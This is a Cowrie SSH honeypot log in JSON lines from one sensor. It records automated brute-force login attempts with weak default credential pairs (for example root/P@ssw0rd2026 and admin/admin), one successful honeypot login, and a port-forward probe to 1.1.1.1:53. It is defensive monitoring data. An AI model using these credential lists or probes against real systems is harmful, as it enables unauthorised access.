{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:45.679474Z","src_ip":"45.156.87.147","session":"26f773a8b8b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:45.766056Z","src_ip":"45.156.87.147","session":"26f773a8b8b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:46.037813Z","src_ip":"45.156.87.147","session":"26f773a8b8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:46.458195Z","src_ip":"91.92.42.227","session":"ec352b5eb523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:47.124064Z","src_ip":"45.156.87.147","session":"26f773a8b8b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37692,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fcfc7e3fab","protocol":"ssh","message":"New connection: 91.92.42.227:37692 (10.17.0.5:22) [session: c2fcfc7e3fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:48.243798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:50.694164Z","src_ip":"91.92.42.227","session":"c2fcfc7e3fab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:50.696945Z","src_ip":"91.92.42.227","session":"c2fcfc7e3fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:50.839759Z","src_ip":"91.92.42.227","session":"3ff423e5ea89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa735d29a9b","protocol":"ssh","message":"New connection: 45.156.87.147:58262 (10.17.0.5:22) [session: aaa735d29a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:51.904982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:51.907944Z","src_ip":"45.156.87.147","session":"aaa735d29a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:51.990831Z","src_ip":"45.156.87.147","session":"aaa735d29a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:52.241699Z","src_ip":"45.156.87.147","session":"aaa735d29a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:53.329453Z","src_ip":"45.156.87.147","session":"aaa735d29a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:53.615236Z","src_ip":"91.92.42.227","session":"3ff423e5ea89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51716,"dst_ip":"10.17.0.5","dst_port":22,"session":"d160bbca9e94","protocol":"ssh","message":"New connection: 91.92.42.227:51716 (10.17.0.5:22) [session: d160bbca9e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:55.207393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:56.888048Z","src_ip":"91.92.42.227","session":"d160bbca9e94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:56.893634Z","src_ip":"91.92.42.227","session":"d160bbca9e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:57.689347Z","src_ip":"91.92.42.227","session":"c2fcfc7e3fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58266,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f61f8ee4e6","protocol":"ssh","message":"New connection: 45.156.87.147:58266 (10.17.0.5:22) [session: 50f61f8ee4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:58.073483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:58.080548Z","src_ip":"45.156.87.147","session":"50f61f8ee4e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:58.162885Z","src_ip":"45.156.87.147","session":"50f61f8ee4e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:58.420799Z","src_ip":"45.156.87.147","session":"50f61f8ee4e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:59.506493Z","src_ip":"45.156.87.147","session":"50f61f8ee4e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b93971d73cb","protocol":"ssh","message":"New connection: 87.251.64.176:33000 (10.17.0.5:22) [session: 7b93971d73cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:59.935130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:59.938228Z","src_ip":"87.251.64.176","session":"7b93971d73cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:00.038101Z","src_ip":"87.251.64.176","session":"7b93971d73cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:00.324650Z","src_ip":"87.251.64.176","session":"7b93971d73cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:00.426892Z","session":"7b93971d73cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:00.533589Z","src_ip":"87.251.64.176","session":"7b93971d73cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:00.631691Z","src_ip":"87.251.64.176","session":"7b93971d73cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:01.193822Z","src_ip":"91.92.42.227","session":"c2fcfc7e3fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51750,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d91a8d46d4","protocol":"ssh","message":"New connection: 91.92.42.227:51750 (10.17.0.5:22) [session: 95d91a8d46d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:01.882131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:03.707602Z","src_ip":"91.92.42.227","session":"95d91a8d46d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:03.712255Z","src_ip":"91.92.42.227","session":"95d91a8d46d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59030,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6c8e8d354f","protocol":"ssh","message":"New connection: 45.156.87.147:59030 (10.17.0.5:22) [session: 4b6c8e8d354f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:04.309335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:04.313175Z","src_ip":"45.156.87.147","session":"4b6c8e8d354f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:04.449972Z","src_ip":"45.156.87.147","session":"4b6c8e8d354f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:04.757003Z","src_ip":"45.156.87.147","session":"4b6c8e8d354f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1234","message":"login attempt [admin123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:04.847622Z","src_ip":"91.92.42.227","session":"d160bbca9e94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:05.842124Z","src_ip":"45.156.87.147","session":"4b6c8e8d354f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":57308,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a5722b7c78d","protocol":"ssh","message":"New connection: 103.252.123.105:57308 (159.203.135.109:22) [session: 1a5722b7c78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:07.362252Z"}
